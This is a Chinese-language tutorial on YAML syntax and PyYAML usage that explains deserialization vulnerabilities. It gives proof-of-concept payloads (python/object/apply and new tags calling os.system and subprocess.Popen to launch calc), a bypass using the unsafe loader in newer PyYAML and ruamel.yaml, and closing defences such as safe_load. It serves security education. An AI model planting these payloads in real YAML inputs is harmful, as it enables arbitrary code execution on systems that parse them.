浅谈PyYAML反序列化漏洞
字数 1531 2025-08-20 18:18:23
PyYAML反序列化漏洞深度解析
1. YAML基础
1.1 YAML简介
YAML是一种直观的数据序列化格式,具有以下特点:
- 容易被电脑识别
- 人类可读性强
- 与脚本语言交互简单
- 语法比XML更简洁
1.2 YAML基本语法规则
- 大小写敏感
- 使用缩进表示层级关系
- 缩进只允许使用空格(不允许Tab)
- 缩进空格数目不重要,只要同层级元素左对齐
#表示注释
1.3 YAML数据结构表示
字典表示
name: Al1ex
age: 0
job: Tester
Python输出:
{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}
列表表示
- Al1ex
- 0
- Tester
Python输出:
['Al1ex', 0, 'Tester']
复合结构
- name: Al1ex
age: 0
job: Tester
- name: James
age: 30
Python输出:
[{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}, {'name': 'James', 'age': 30}]
1.4 YAML基本数据类型
- 字符串
- 整型
- 浮点型
- 布尔型
- null(可用
~表示) - 时间(ISO8601格式)
- 日期(ISO8601格式)
示例:
str: "Hello World!"
int: 110
float: 3.141
boolean: true
None: null
time: 2020-06-20t11:43:30.20+08:00
date: 2020-06-20
1.5 引用与强制类型转换
引用
name: &name Al1ex
tester: *name
相当于:
name: Al1ex
tester: Al1ex
强制类型转换
使用!!实现:
str: !!str 3.14
int: !!int "123"
输出:
{'int': 123, 'str': '3.14'}
1.6 分段规则
使用---分隔多个文档:
---
name: James
age: 20
---
name: Lily
age: 19
2. PyYAML高级用法
2.1 yaml.YAMLObject
使用元类注册构造器和表示器:
import yaml
class Person(yaml.YAMLObject):
yaml_tag = '!person'
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return '%s(name=%s, age=%d)' % (self.__class__.__name__, self.name, self.age)
james = Person('James', 20)
print(yaml.dump(james)) # Python对象转yaml
lily = yaml.load('!person {name: Lily, age: 19}')
print(lily) # yaml转Python对象
2.2 add_constructor/add_representer
定义普通类并添加构造器和表示器:
import yaml
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return 'Person(%s, %s)' % (self.name, self.age)
# 添加表示器
def person_repr(dumper, data):
return dumper.represent_mapping(u'!person', {"name": data.name, "age": data.age})
yaml.add_representer(Person, person_repr)
# 添加构造器
def person_cons(loader, node):
value = loader.construct_mapping(node)
return Person(value['name'], value['age'])
yaml.add_constructor(u'!person', person_cons)
2.3 PyYAML常用方法
load() - 返回对象
import yaml
f = open('config.yml', 'r')
y = yaml.load(f)
print(y)
load_all() - 生成迭代器
用于包含多块yaml文档的情况
dump() - Python对象转yaml
aproject = {'name': 'Silenthand Olleander', 'race': 'Human', 'traits': ['ONE_HAND', 'ONE_EYE']}
print(yaml.dump(aproject))
dump_all() - 多段输出到文件
obj1 = {"name": "James", "age": 20}
obj2 = ["Lily", 19]
with open('yaml_dump_all.yml', 'w') as f:
yaml.dump_all([obj1, obj2], f)
3. PyYAML反序列化漏洞
3.1 漏洞原理
PyYAML在反序列化时,可以通过特殊标签动态创建Python对象并执行任意代码。
关键标签:
!!python/object:=>Constructor.construct_python_object!!python/object/apply:=>Constructor.construct_python_object_apply!!python/object/new:=>Constructor.construct_python_object_new
这些标签最终都会调用make_python_instance()函数,该函数会根据参数动态创建新的Python类对象或通过引用module的类创建对象。
3.2 漏洞利用(PyYAML <5.1)
通用POC
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
示例代码
生成恶意yaml文件:
import yaml
class poc:
def __init__(self):
import os
os.system('calc.exe')
payload = yaml.dump(poc())
with open('simple.yml', 'w') as f:
f.write(payload)
反序列化执行:
import yaml
with open('simple.yml', 'r') as f:
yaml.load(f)
3.3 PyYAML >=5.1的变化
加载器类型
BaseLoader: 仅加载最基本的YAMLSafeLoader: 安全加载YAML子集(推荐用于不受信任的输入,对应safe_load)FullLoader: 加载完整YAML语言,避免任意代码执行(默认加载器,对应full_load)UnsafeLoader(原Loader): 原始Loader代码,易被利用(对应unsafe_load)
绕过方法
使用subprocess.Popen绕过限制:
from yaml import *
data = b"""
!!python/object/apply:subprocess.Popen
- calc
"""
deserialized_data = load(data, Loader=Loader) # 或使用unsafe_load(data)
print(deserialized_data)
3.4 ruamel.yaml的情况
ruamel.yaml默认支持YAML 1.2版本,同样存在类似漏洞:
from ruamel.yaml import *
data = """
!!python/object/apply:subprocess.Popen
- calc
"""
deserialized_data = load(data) # 命令会被执行
4. 防御措施
4.1 安全反序列化方法
使用以下安全函数处理YAML数据:
safe_load()safe_load_all()full_load()full_load_all()
4.2 安全序列化方法
使用以下函数序列化数据:
safe_dump()safe_dump_all()
4.3 其他建议
- 升级到最新版PyYAML
- 避免直接使用
load()和load_all()方法 - 对用户输入的YAML数据进行严格过滤
- 使用更安全的替代方案,如JSON